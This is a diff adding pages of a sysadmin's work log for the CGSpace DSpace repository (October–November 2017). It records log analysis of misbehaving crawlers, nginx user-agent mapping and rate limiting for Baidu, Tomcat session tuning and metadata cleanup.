  • Actually, according to the Tomcat docs, we could use an IP with crawlerIps: https://tomcat.apache.org/tomcat-7.0-doc/config/valve.html#Crawler_Session_Manager_Valve
    • +
  • Ah, wait, it looks like crawlerIps only came in 2017-06, so probably isn’t in Ubuntu 16.04’s 7.0.68 build!
    • +
  • That would explain the errors I was getting when trying to set it:
    • +
+
WARNING: [SetPropertiesRule]{Server/Service/Engine/Host/Valve} Setting property 'crawlerIps' to '190\.19\.92\.5|104\.196\.152\.243' did not find a matching property.
+
    +
  • As for now, it actually seems the CORE bot coming from 137.108.70.6 and 137.108.70.7 is only using a few sessions per day, which is good:
    • +
+
# grep -o -E 'session_id=[A-Z0-9]{32}:ip_addr=137.108.70.(6|7)' dspace.log.2017-10-30 | sort -n | uniq -c | sort -h
+    410 session_id=74F0C3A133DBF1132E7EC30A7E7E0D60:ip_addr=137.108.70.7
+    574 session_id=5771742CABA3D0780860B8DA81E0551B:ip_addr=137.108.70.7
+   1012 session_id=6C30F10B4351A4ED83EC6ED50AFD6B6A:ip_addr=137.108.70.6
+
    +
  • I will check again tomorrow
    • +
+

2017-10-31

+
    +
  • Very nice, Linode alerted that CGSpace had high CPU usage at 2AM again
    • +
  • Ask on the dspace-tech mailing list if it’s possible to use an existing item as a template for a new item
    • +
  • To follow up on the CORE bot traffic, there were almost 300,000 request yesterday:
    • +
+
# grep "CORE/0.6" /var/log/nginx/access.log.1 | awk '{print $1}' | sort -n | uniq -c | sort -h
+ 139109 137.108.70.6
+ 139253 137.108.70.7
+
    +
  • I’ve emailed the CORE people to ask if they can update the repository information from CGIAR Library to CGSpace
    • +
  • Also, I asked if they could perhaps use the sitemap.xml, OAI-PMH, or REST APIs to index us more efficiently, because they mostly seem to be crawling the nearly endless Discovery facets
    • +
  • I added GoAccess to the list of package to install in the DSpace role of the Ansible infrastructure scripts
    • +
  • It makes it very easy to analyze nginx logs from the command line, to see where traffic is coming from:
    • +
+
# goaccess /var/log/nginx/access.log --log-format=COMBINED
+
    +
  • According to Uptime Robot CGSpace went down and up a few times
    • +
  • I had a look at goaccess and I saw that CORE was actively indexing
    • +
  • Also, PostgreSQL connections were at 91 (with the max being 60 per web app, hmmm)
    • +
  • I’m really starting to get annoyed with these guys, and thinking about blocking their IP address for a few days to see if CGSpace becomes more stable
    • +
  • Actually, come to think of it, they aren’t even obeying robots.txt, because we actually disallow /discover and /search-filter URLs but they are hitting those massively:
    • +
+
# grep "CORE/0.6" /var/log/nginx/access.log | grep -o -E "GET /(discover|search-filter)" | sort -n | uniq -c | sort -rn 
+ 158058 GET /discover
+  14260 GET /search-filter
+
    +
  • I tested a URL of pattern /discover in Google’s webmaster tools and it was indeed identified as blocked
    • +
  • I will send feedback to the CORE bot team
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2017-11/index.html b/docs/2017-11/index.html new file mode 100644 index 000000000..0a5508788 --- /dev/null +++ b/docs/2017-11/index.html @@ -0,0 +1,998 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + November, 2017 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

November, 2017

+

+ + in + Notes + + +

+
+

2017-11-01

+
    +
  • The CORE developers responded to say they are looking into their bot not respecting our robots.txt
    • +
+

2017-11-02

+
    +
  • Today there have been no hits by CORE and no alerts from Linode (coincidence?)
    • +
+
# grep -c "CORE" /var/log/nginx/access.log
+0
+
    +
  • Generate list of authors on CGSpace for Peter to go through and correct:
    • +
+
dspace=# \copy (select distinct text_value, count(*) as count from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'author') AND resource_type_id = 2 group by text_value order by count desc) to /tmp/authors.csv with csv;
+COPY 54701
+
    +
  • Abenet asked if it would be possible to generate a report of items in Listing and Reports that had “International Fund for Agricultural Development” as the only investor
    • +
  • I opened a ticket with Atmire to ask if this was possible: https://tracker.atmire.com/tickets-cgiar-ilri/view-ticket?id=540
    • +
  • Work on making the thumbnails in the item view clickable
    • +
  • Basically, once you read the METS XML for an item it becomes easy to trace the structure to find the bitstream link
    • +
+
//mets:fileSec/mets:fileGrp[@USE='CONTENT']/mets:file/mets:FLocat[@LOCTYPE='URL']/@xlink:href
+
    +
  • METS XML is available for all items with this pattern: /metadata/handle/10568/95947/mets.xml
    • +
  • I whipped up a quick hack to print a clickable link with this URL on the thumbnail but it needs to check a few corner cases, like when there is a thumbnail but no content bitstream!
    • +
  • Help proof fifty-three CIAT records for Sisay: https://dspacetest.cgiar.org/handle/10568/95895
    • +
  • A handful of issues with cg.place using format like “Lima, PE” instead of “Lima, Peru”
    • +
  • Also, some dates like with completely invalid format like “2010- 06” and “2011-3-28”
    • +
  • I also collapsed some consecutive whitespace on a handful of fields
    • +
+

2017-11-03

+
    +
  • Atmire got back to us to say that they estimate it will take two days of labor to implement the change to Listings and Reports
    • +
  • I said I’d ask Abenet if she wants that feature
    • +
+

2017-11-04

+
    +
  • I finished looking through Sisay’s CIAT records for the “Alianzas de Aprendizaje” data
    • +
  • I corrected about half of the authors to standardize them
    • +
  • Linode emailed this morning to say that the CPU usage was high again, this time at 6:14AM
    • +
  • It’s the first time in a few days that this has happened
    • +
  • I had a look to see what was going on, but it isn’t the CORE bot:
    • +
+
# awk '{print $1}' /var/log/nginx/access.log | sort -n | uniq -c | sort -h | tail
+    306 68.180.229.31
+    323 61.148.244.116
+    414 66.249.66.91
+    507 40.77.167.16
+    618 157.55.39.161
+    652 207.46.13.103
+    666 157.55.39.254
+   1173 104.196.152.243
+   1737 66.249.66.90
+  23101 138.201.52.218
+
    +
  • 138.201.52.218 is from some Hetzner server, and I see it making 40,000 requests yesterday too, but none before that:
    • +
+
# zgrep -c 138.201.52.218 /var/log/nginx/access.log*
+/var/log/nginx/access.log:24403
+/var/log/nginx/access.log.1:45958
+/var/log/nginx/access.log.2.gz:0
+/var/log/nginx/access.log.3.gz:0
+/var/log/nginx/access.log.4.gz:0
+/var/log/nginx/access.log.5.gz:0
+/var/log/nginx/access.log.6.gz:0
+
    +
  • It’s clearly a bot as it’s making tens of thousands of requests, but it’s using a “normal” user agent:
    • +
+
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
+
    +
  • For now I don’t know what this user is!
    • +
+

2017-11-05

+
    +
  • Peter asked if I could fix the appearance of “International Livestock Research Institute” in the author lookup during item submission
    • +
  • It looks to be just an issue with the user interface expecting authors to have both a first and last name:
    • +
+

Author lookup +Add author

+
    +
  • But in the database the authors are correct (none with weird , / characters):
    • +
+
dspace=# select distinct text_value, authority, confidence from metadatavalue value where resource_type_id=2 and metadata_field_id=3 and text_value like 'International Livestock Research Institute%';
+                 text_value                 |              authority               | confidence 
+--------------------------------------------+--------------------------------------+------------
+ International Livestock Research Institute | 8f3865dc-d056-4aec-90b7-77f49ab4735c |          0
+ International Livestock Research Institute | f4db1627-47cd-4699-b394-bab7eba6dadc |          0
+ International Livestock Research Institute |                                      |         -1
+ International Livestock Research Institute | 8f3865dc-d056-4aec-90b7-77f49ab4735c |        600
+ International Livestock Research Institute | f4db1627-47cd-4699-b394-bab7eba6dadc |         -1
+ International Livestock Research Institute |                                      |        600
+ International Livestock Research Institute | 8f3865dc-d056-4aec-90b7-77f49ab4735c |         -1
+ International Livestock Research Institute | 8f3865dc-d056-4aec-90b7-77f49ab4735c |        500
+(8 rows)
+
    +
  • So I’m not sure if this is just a graphical glitch or if editors have to edit this metadata field prior to approval
    • +
  • Looking at monitoring Tomcat’s JVM heap with Prometheus, it looks like we need to use JMX + jmx_exporter
    • +
  • This guide shows how to enable JMX in Tomcat by modifying CATALINA_OPTS
    • +
  • I was able to successfully connect to my local Tomcat with jconsole!
    • +
+

2017-11-07

+
    +
  • CGSpace when down and up a few times this morning, first around 3AM, then around 7
    • +
  • Tsega had to restart Tomcat 7 to fix it temporarily
    • +
  • I will start by looking at bot usage (access.log.1 includes usage until 6AM today):
    • +
+
# cat /var/log/nginx/access.log.1 | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+    619 65.49.68.184
+    840 65.49.68.199
+    924 66.249.66.91
+   1131 68.180.229.254
+   1583 66.249.66.90
+   1953 207.46.13.103
+   1999 207.46.13.80
+   2021 157.55.39.161
+   2034 207.46.13.36
+   4681 104.196.152.243
+
    +
  • 104.196.152.243 seems to be a top scraper for a few weeks now:
    • +
+
# zgrep -c 104.196.152.243 /var/log/nginx/access.log*
+/var/log/nginx/access.log:336
+/var/log/nginx/access.log.1:4681
+/var/log/nginx/access.log.2.gz:3531
+/var/log/nginx/access.log.3.gz:3532
+/var/log/nginx/access.log.4.gz:5786
+/var/log/nginx/access.log.5.gz:8542
+/var/log/nginx/access.log.6.gz:6988
+/var/log/nginx/access.log.7.gz:7517
+/var/log/nginx/access.log.8.gz:7211
+/var/log/nginx/access.log.9.gz:2763
+
    +
  • This user is responsible for hundreds and sometimes thousands of Tomcat sessions:
    • +
+
$ grep 104.196.152.243 dspace.log.2017-11-07 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+954
+$ grep 104.196.152.243 dspace.log.2017-11-03 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+6199
+$ grep 104.196.152.243 dspace.log.2017-11-01 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+7051
+
    +
  • The worst thing is that this user never specifies a user agent string so we can’t lump it in with the other bots using the Tomcat Session Crawler Manager Valve
    • +
  • They don’t request dynamic URLs like “/discover” but they seem to be fetching handles from XMLUI instead of REST (and some with //handle, note the regex below):
    • +
+
# grep -c 104.196.152.243 /var/log/nginx/access.log.1
+4681
+# grep 104.196.152.243 /var/log/nginx/access.log.1 | grep -c -P 'GET //?handle'
+4618
+
    +
  • I just realized that ciat.cgiar.org points to 104.196.152.243, so I should contact Leroy from CIAT to see if we can change their scraping behavior
    • +
  • The next IP (207.46.13.36) seem to be Microsoft’s bingbot, but all its requests specify the “bingbot” user agent and there are no requests for dynamic URLs that are forbidden, like “/discover”:
    • +
+
$ grep -c 207.46.13.36 /var/log/nginx/access.log.1 
+2034
+# grep 207.46.13.36 /var/log/nginx/access.log.1 | grep -c "GET /discover"
+0
+
    +
  • The next IP (157.55.39.161) also seems to be bingbot, and none of its requests are for URLs forbidden by robots.txt either:
    • +
+
# grep 157.55.39.161 /var/log/nginx/access.log.1 | grep -c "GET /discover"
+0
+
    +
  • The next few seem to be bingbot as well, and they declare a proper user agent and do not request dynamic URLs like “/discover”:
    • +
+
# grep -c -E '207.46.13.[0-9]{2,3}' /var/log/nginx/access.log.1 
+5997
+# grep -E '207.46.13.[0-9]{2,3}' /var/log/nginx/access.log.1 | grep -c "bingbot"
+5988
+# grep -E '207.46.13.[0-9]{2,3}' /var/log/nginx/access.log.1 | grep -c "GET /discover"
+0
+
    +
  • The next few seem to be Googlebot, and they declare a proper user agent and do not request dynamic URLs like “/discover”:
    • +
+
# grep -c -E '66.249.66.[0-9]{2,3}' /var/log/nginx/access.log.1 
+3048
+# grep -E '66.249.66.[0-9]{2,3}' /var/log/nginx/access.log.1 | grep -c Google
+3048
+# grep -E '66.249.66.[0-9]{2,3}' /var/log/nginx/access.log.1 | grep -c "GET /discover"
+0
+
    +
  • The next seems to be Yahoo, which declares a proper user agent and does not request dynamic URLs like “/discover”:
    • +
+
# grep -c 68.180.229.254 /var/log/nginx/access.log.1 
+1131
+# grep  68.180.229.254 /var/log/nginx/access.log.1 | grep -c "GET /discover"
+0
+
    +
  • The last of the top ten IPs seems to be some bot with a weird user agent, but they are not behaving too well:
    • +
+
# grep -c -E '65.49.68.[0-9]{3}' /var/log/nginx/access.log.1 
+2950
+# grep -E '65.49.68.[0-9]{3}' /var/log/nginx/access.log.1 | grep -c "GET /discover"
+330
+
    +
  • Their user agents vary, ie: +
      +
    • Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
      • +
    • Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11
      • +
    • Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
      • +
    +
    • +
  • I’ll just keep an eye on that one for now, as it only made a few hundred requests to dynamic discovery URLs
    • +
  • While it’s not in the top ten, Baidu is one bot that seems to not give a fuck:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep "7/Nov/2017" | grep -c Baiduspider
+8912
+# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep "7/Nov/2017" | grep Baiduspider | grep -c -E "GET /(browse|discover|search-filter)"
+2521
+
    +
  • According to their documentation their bot respects robots.txt, but I don’t see this being the case
    • +
  • I think I will end up blocking Baidu as well…
    • +
  • Next is for me to look and see what was happening specifically at 3AM and 7AM when the server crashed
    • +
  • I should look in nginx access.log, rest.log, oai.log, and DSpace’s dspace.log.2017-11-07
    • +
  • Here are the top IPs making requests to XMLUI from 2 to 8 AM:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep -E '07/Nov/2017:0[2-8]' | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+    279 66.249.66.91
+    373 65.49.68.199
+    446 68.180.229.254
+    470 104.196.152.243
+    470 197.210.168.174
+    598 207.46.13.103
+    603 157.55.39.161
+    637 207.46.13.80
+    703 207.46.13.36
+    724 66.249.66.90
+
    +
  • Of those, most are Google, Bing, Yahoo, etc, except 63.143.42.244 and 63.143.42.242 which are Uptime Robot
    • +
  • Here are the top IPs making requests to REST from 2 to 8 AM:
    • +
+
# cat /var/log/nginx/rest.log /var/log/nginx/rest.log.1 | grep -E '07/Nov/2017:0[2-8]' | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+      8 207.241.229.237
+     10 66.249.66.90
+     16 104.196.152.243
+     25 41.60.238.61
+     26 157.55.39.161
+     27 207.46.13.103
+     27 207.46.13.80
+     31 207.46.13.36
+   1498 50.116.102.77
+
    +
  • The OAI requests during that same time period are nothing to worry about:
    • +
+
# cat /var/log/nginx/oai.log /var/log/nginx/oai.log.1 | grep -E '07/Nov/2017:0[2-8]' | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+      1 66.249.66.92
+      4 66.249.66.90
+      6 68.180.229.254
+
    +
  • The top IPs from dspace.log during the 2–8 AM period:
    • +
+
$ grep -E '2017-11-07 0[2-8]' dspace.log.2017-11-07 | grep -o -E 'ip_addr=[0-9.]+' | sort -n | uniq -c | sort -h | tail
+    143 ip_addr=213.55.99.121
+    181 ip_addr=66.249.66.91
+    223 ip_addr=157.55.39.161
+    248 ip_addr=207.46.13.80
+    251 ip_addr=207.46.13.103
+    291 ip_addr=207.46.13.36
+    297 ip_addr=197.210.168.174
+    312 ip_addr=65.49.68.199
+    462 ip_addr=104.196.152.243
+    488 ip_addr=66.249.66.90
+
    +
  • These aren’t actually very interesting, as the top few are Google, CIAT, Bingbot, and a few other unknown scrapers
    • +
  • The number of requests isn’t even that high to be honest
    • +
  • As I was looking at these logs I noticed another heavy user (124.17.34.59) that was not active during this time period, but made many requests today alone:
    • +
+
# zgrep -c 124.17.34.59 /var/log/nginx/access.log*
+/var/log/nginx/access.log:22581
+/var/log/nginx/access.log.1:0
+/var/log/nginx/access.log.2.gz:14
+/var/log/nginx/access.log.3.gz:0
+/var/log/nginx/access.log.4.gz:0
+/var/log/nginx/access.log.5.gz:3
+/var/log/nginx/access.log.6.gz:0
+/var/log/nginx/access.log.7.gz:0
+/var/log/nginx/access.log.8.gz:0
+/var/log/nginx/access.log.9.gz:1
+
    +
  • The whois data shows the IP is from China, but the user agent doesn’t really give any clues:
    • +
+
# grep 124.17.34.59 /var/log/nginx/access.log | awk -F'" ' '{print $3}' | sort | uniq -c | sort -h
+    210 "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36"
+  22610 "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Win64; x64; Trident/7.0; LCTE)"
+
    +
  • A Google search for “LCTE bot” doesn’t return anything interesting, but this Stack Overflow discussion references the lack of information
    • +
  • So basically after a few hours of looking at the log files I am not closer to understanding what is going on!
    • +
  • I do know that we want to block Baidu, though, as it does not respect robots.txt
    • +
  • And as we speak Linode alerted that the outbound traffic rate is very high for the past two hours (about 12–14 hours)
    • +
  • At least for now it seems to be that new Chinese IP (124.17.34.59):
    • +
+
# grep -E "07/Nov/2017:1[234]:" /var/log/nginx/access.log | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+    198 207.46.13.103
+    203 207.46.13.80
+    205 207.46.13.36
+    218 157.55.39.161
+    249 45.5.184.221
+    258 45.5.187.130
+    386 66.249.66.90
+    410 197.210.168.174
+   1896 104.196.152.243
+  11005 124.17.34.59
+
    +
  • Seems 124.17.34.59 are really downloading all our PDFs, compared to the next top active IPs during this time!
    • +
+
# grep -E "07/Nov/2017:1[234]:" /var/log/nginx/access.log | grep 124.17.34.59 | grep -c pdf
+5948
+# grep -E "07/Nov/2017:1[234]:" /var/log/nginx/access.log | grep 104.196.152.243 | grep -c pdf
+0
+
    +
  • About CIAT, I think I need to encourage them to specify a user agent string for their requests, because they are not reuising their Tomcat session and they are creating thousands of sessions per day
    • +
  • All CIAT requests vs unique ones:
    • +
+
$ grep -Io -E 'session_id=[A-Z0-9]{32}:ip_addr=104.196.152.243' dspace.log.2017-11-07 | wc -l
+3506
+$ grep -Io -E 'session_id=[A-Z0-9]{32}:ip_addr=104.196.152.243' dspace.log.2017-11-07 | sort | uniq | wc -l
+3506
+
    +
  • I emailed CIAT about the session issue, user agent issue, and told them they should not scrape the HTML contents of communities, instead using the REST API
    • +
  • About Baidu, I found a link to their robots.txt tester tool
    • +
  • It seems like our robots.txt file is valid, and they claim to recognize that URLs like /discover should be forbidden (不允许, aka “not allowed”):
    • +
+

Baidu robots.txt tester

+
    +
  • But they literally just made this request today:
    • +
+
180.76.15.136 - - [07/Nov/2017:06:25:11 +0000] "GET /discover?filtertype_0=crpsubject&filter_relational_operator_0=equals&filter_0=WATER%2C+LAND+AND+ECOSYSTEMS&filtertype=subject&filter_relational_operator=equals&filter=WATER+RESOURCES HTTP/1.1" 200 82265 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
+
    +
  • Along with another thousand or so requests to URLs that are forbidden in robots.txt today alone:
    • +
+
# grep -c Baiduspider /var/log/nginx/access.log
+3806
+# grep Baiduspider /var/log/nginx/access.log | grep -c -E "GET /(browse|discover|search-filter)"
+1085
+
    +
  • I will think about blocking their IPs but they have 164 of them!
    • +
+
# grep "Baiduspider/2.0" /var/log/nginx/access.log | awk '{print $1}' | sort -n | uniq | wc -l
+164
+

2017-11-08

+
    +
  • Linode sent several alerts last night about CPU usage and outbound traffic rate at 6:13PM
    • +
  • Linode sent another alert about CPU usage in the morning at 6:12AM
    • +
  • Jesus, the new Chinese IP (124.17.34.59) has downloaded 24,000 PDFs in the last 24 hours:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep -E "0[78]/Nov/2017:" | grep 124.17.34.59 | grep -v pdf.jpg | grep -c pdf
+24981
+
    +
  • This is about 20,000 Tomcat sessions:
    • +
+
$ cat dspace.log.2017-11-07 dspace.log.2017-11-08 | grep -Io -E 'session_id=[A-Z0-9]{32}:ip_addr=124.17.34.59' | sort | uniq | wc -l
+20733
+
    +
  • I’m getting really sick of this
    • +
  • Sisay re-uploaded the CIAT records that I had already corrected earlier this week, erasing all my corrections
    • +
  • I had to re-correct all the publishers, places, names, dates, etc and apply the changes on DSpace Test
    • +
  • Run system updates on DSpace Test and reboot the server
    • +
  • Magdalena had written to say that two of their Phase II project tags were missing on CGSpace, so I added them (#346)
    • +
  • I figured out a way to use nginx’s map function to assign a “bot” user agent to misbehaving clients who don’t define a user agent
    • +
  • Most bots are automatically lumped into one generic session by Tomcat’s Crawler Session Manager Valve but this only works if their user agent matches a pre-defined regular expression like .*[bB]ot.*
    • +
  • Some clients send thousands of requests without a user agent which ends up creating thousands of Tomcat sessions, wasting precious memory, CPU, and database resources in the process
    • +
  • Basically, we modify the nginx config to add a mapping with a modified user agent $ua:
    • +
+
map $remote_addr $ua {
+    # 2017-11-08 Random Chinese host grabbing 20,000 PDFs
+    124.17.34.59     'ChineseBot';
+    default          $http_user_agent;
+}
+
    +
  • If the client’s address matches then the user agent is set, otherwise the default $http_user_agent variable is used
    • +
  • Then, in the server’s / block we pass this header to Tomcat:
    • +
+
proxy_pass http://tomcat_http;
+proxy_set_header User-Agent $ua;
+
    +
  • Note to self: the $ua variable won’t show up in nginx access logs because the default combined log format doesn’t show it, so don’t run around pulling your hair out wondering with the modified user agents aren’t showing in the logs!
    • +
  • If a client matching one of these IPs connects without a session, it will be assigned one by the Crawler Session Manager Valve
    • +
  • You can verify by cross referencing nginx’s access.log and DSpace’s dspace.log.2017-11-08, for example
    • +
  • I will deploy this on CGSpace later this week
    • +
  • I am interested to check how this affects the number of sessions used by the CIAT and Chinese bots (see above on 2017-11-07 for example)
    • +
  • I merged the clickable thumbnails code to 5_x-prod (#347) and will deploy it later along with the new bot mapping stuff (and re-run the Asible nginx and tomcat tags)
    • +
  • I was thinking about Baidu again and decided to see how many requests they have versus Google to URL paths that are explicitly forbidden in robots.txt:
    • +
+
# zgrep Baiduspider /var/log/nginx/access.log* | grep -c -E "GET /(browse|discover|search-filter)"
+22229
+# zgrep Googlebot /var/log/nginx/access.log* | grep -c -E "GET /(browse|discover|search-filter)"
+0
+
    +
  • It seems that they rarely even bother checking robots.txt, but Google does multiple times per day!
    • +
+
# zgrep Baiduspider /var/log/nginx/access.log* | grep -c robots.txt
+14
+# zgrep Googlebot  /var/log/nginx/access.log* | grep -c robots.txt
+1134
+
    +
  • I have been looking for a reason to ban Baidu and this is definitely a good one
    • +
  • Disallowing Baiduspider in robots.txt probably won’t work because this bot doesn’t seem to respect the robot exclusion standard anyways!
    • +
  • I will whip up something in nginx later
    • +
  • Run system updates on CGSpace and reboot the server
    • +
  • Re-deploy latest 5_x-prod branch on CGSpace and DSpace Test (includes the clickable thumbnails, CCAFS phase II project tags, and updated news text)
    • +
+

2017-11-09

+
    +
  • Awesome, it seems my bot mapping stuff in nginx actually reduced the number of Tomcat sessions used by the CIAT scraper today, total requests and unique sessions:
    • +
+
# zcat -f -- /var/log/nginx/access.log.1 /var/log/nginx/access.log.2.gz | grep '09/Nov/2017' | grep -c 104.196.152.243
+8956
+$ grep 104.196.152.243 dspace.log.2017-11-09 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+223
+
    +
  • Versus the same stats for yesterday and the day before:
    • +
+
# zcat -f -- /var/log/nginx/access.log.1 /var/log/nginx/access.log.2.gz | grep '08/Nov/2017' | grep -c 104.196.152.243 
+10216
+$ grep 104.196.152.243 dspace.log.2017-11-08 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+2592
+# zcat -f -- /var/log/nginx/access.log.2.gz /var/log/nginx/access.log.3.gz | grep '07/Nov/2017' | grep -c 104.196.152.243
+8120
+$ grep 104.196.152.243 dspace.log.2017-11-07 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+3506
+
    +
  • The number of sessions is over ten times less!
    • +
  • This gets me thinking, I wonder if I can use something like nginx’s rate limiter to automatically change the user agent of clients who make too many requests
    • +
  • Perhaps using a combination of geo and map, like illustrated here: https://www.nginx.com/blog/rate-limiting-nginx/
    • +
+

2017-11-11

+
    +
  • I was looking at the Google index and noticed there are 4,090 search results for dspace.ilri.org but only seven for mahider.ilri.org
    • +
  • Search with something like: inurl:dspace.ilri.org inurl:https
    • +
  • I want to get rid of those legacy domains eventually!
    • +
+

2017-11-12

+
    +
  • Update the Ansible infrastructure templates to be a little more modular and flexible
    • +
  • Looking at the top client IPs on CGSpace so far this morning, even though it’s only been eight hours:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep "12/Nov/2017" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+    243 5.83.120.111
+    335 40.77.167.103
+    424 66.249.66.91
+    529 207.46.13.36
+    554 40.77.167.129
+    604 207.46.13.53
+    754 104.196.152.243
+    883 66.249.66.90
+   1150 95.108.181.88
+   1381 5.9.6.51
+
    +
  • 5.9.6.51 seems to be a Russian bot:
    • +
+
# grep 5.9.6.51 /var/log/nginx/access.log | tail -n 1
+5.9.6.51 - - [12/Nov/2017:08:13:13 +0000] "GET /handle/10568/16515/recent-submissions HTTP/1.1" 200 5097 "-" "Mozilla/5.0 (compatible; MegaIndex.ru/2.0; +http://megaindex.com/crawler)"
+
    +
  • What’s amazing is that it seems to reuse its Java session across all requests:
    • +
+
$ grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=5.9.6.51' dspace.log.2017-11-12
+1558
+$ grep 5.9.6.51 dspace.log.2017-11-12 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+1
+
    +
  • Bravo to MegaIndex.ru!
    • +
  • The same cannot be said for 95.108.181.88, which appears to be YandexBot, even though Tomcat’s Crawler Session Manager valve regex should match ‘YandexBot’:
    • +
+
# grep 95.108.181.88 /var/log/nginx/access.log | tail -n 1
+95.108.181.88 - - [12/Nov/2017:08:33:17 +0000] "GET /bitstream/handle/10568/57004/GenebankColombia_23Feb2015.pdf HTTP/1.1" 200 972019 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
+$ grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=95.108.181.88' dspace.log.2017-11-12
+991
+
    +
  • Move some items and collections on CGSpace for Peter Ballantyne, running move_collections.sh with the following configuration:
    • +
+
10947/6    10947/1 10568/83389
+10947/34   10947/1 10568/83389
+10947/2512 10947/1 10568/83389
+
+
$ http --print h https://cgspace.cgiar.org/handle/10568/1 User-Agent:'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'
+HTTP/1.1 200 OK
+Connection: keep-alive
+Content-Encoding: gzip
+Content-Language: en-US
+Content-Type: text/html;charset=utf-8
+Date: Sun, 12 Nov 2017 16:30:19 GMT
+Server: nginx
+Strict-Transport-Security: max-age=15768000
+Transfer-Encoding: chunked
+Vary: Accept-Encoding
+X-Cocoon-Version: 2.2.0
+X-Content-Type-Options: nosniff
+X-Frame-Options: SAMEORIGIN
+X-XSS-Protection: 1; mode=block
+$ http --print h https://cgspace.cgiar.org/handle/10568/1 User-Agent:'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'
+HTTP/1.1 503 Service Temporarily Unavailable
+Connection: keep-alive
+Content-Length: 206
+Content-Type: text/html
+Date: Sun, 12 Nov 2017 16:30:21 GMT
+Server: nginx
+
    +
  • The first request works, second is denied with an HTTP 503!
    • +
  • I need to remember to check the Munin graphs for PostgreSQL and JVM next week to see how this affects them
    • +
+

2017-11-13

+
    +
  • At the end of the day I checked the logs and it really looks like the Baidu rate limiting is working, HTTP 200 vs 503:
    • +
+
# zcat -f -- /var/log/nginx/access.log.1 /var/log/nginx/access.log.2.gz | grep "13/Nov/2017" | grep "Baiduspider" | grep -c " 200 "
+1132
+# zcat -f -- /var/log/nginx/access.log.1 /var/log/nginx/access.log.2.gz | grep "13/Nov/2017" | grep "Baiduspider" | grep -c " 503 "
+10105
+
    +
  • Helping Sisay proof 47 records for IITA: https://dspacetest.cgiar.org/handle/10568/97029
    • +
  • From looking at the data in OpenRefine I found: +
      +
    • Errors in cg.authorship.types
      • +
    • Errors in cg.coverage.country (smart quote in “COTE D’IVOIRE”, “HAWAII” is not a country)
      • +
    • Whitespace issues in some cg.contributor.affiliation
      • +
    • Whitespace issues in some cg.identifier.doi fields and most values are using HTTP instead of HTTPS
      • +
    • Whitespace issues in some dc.contributor.author fields
      • +
    • Issue with invalid dc.date.issued value “2011-3”
      • +
    • Description fields are poorly copy–pasted
      • +
    • Whitespace issues in dc.description.sponsorship
      • +
    • Lots of inconsistency in dc.format.extent (mixed dash style, periods at the end of values)
      • +
    • Whitespace errors in dc.identifier.citation
      • +
    • Whitespace errors in dc.subject
      • +
    • Whitespace errors in dc.title
      • +
    +
    • +
  • After uploading and looking at the data in DSpace Test I saw more errors with CRPs, subjects (one item had four copies of all of its subjects, another had a “.” in it), affiliations, sponsors, etc.
    • +
  • Atmire responded to the ticket about ORCID stuff a few days ago, today I told them that I need to talk to Peter and the partners to see what we would like to do
    • +
+

2017-11-14

+
    +
  • Deploy some nginx configuration updates to CGSpace
    • +
  • They had been waiting on a branch for a few months and I think I just forgot about them
    • +
  • I have been running them on DSpace Test for a few days and haven’t seen any issues there
    • +
  • Started testing DSpace 6.2 and a few things have changed
    • +
  • Now PostgreSQL needs pgcrypto:
    • +
+
$ psql dspace6
+dspace6=# CREATE EXTENSION pgcrypto;
+
    +
  • Also, local settings are no longer in build.properties, they are now in local.cfg
    • +
  • I’m not sure if we can use separate profiles like we did before with mvn -Denv=blah to use blah.properties
    • +
  • It seems we need to use “system properties” to override settings, ie: -Ddspace.dir=/Users/aorth/dspace6
    • +
+

2017-11-15

+
    +
